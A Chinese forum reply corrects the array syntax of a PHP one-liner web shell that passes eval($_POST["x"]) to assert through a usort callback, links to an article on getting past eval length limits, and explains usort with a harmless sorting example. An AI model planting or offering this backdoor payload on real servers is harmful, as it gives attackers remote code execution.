[code]['$a=0','eval($_POST["x"])'],'assert'];[/code]是不是
少了[??
是不是应该这样
[code][['$a=0','eval($_POST["x"])'],'assert'];[/code]
详情看这:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
原谅我见识短,没用过usort函数
上面连接的文章中,发现有这个函数
于是刚刚了解了下usort函数
官方介绍:http://php.net/manual/zh/function.usort.php
通俗点说就是一个稍微复杂点的数组,如果用php自带的函数不是很方便
所以用户可以自己定义一个函数,然后使用usort函数来进行回调
<?php
function my_sort($a,$b){
if ($a==$b){
return 0;
}else{
return ($a<$b)?-1:1;
}
}
$list = array(4,2,8,6);
usort($list,'my_sort');
第一个参数必须是数组
第二个参数是函数名称
usort函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参
然后php会判断my_sort函数的返回值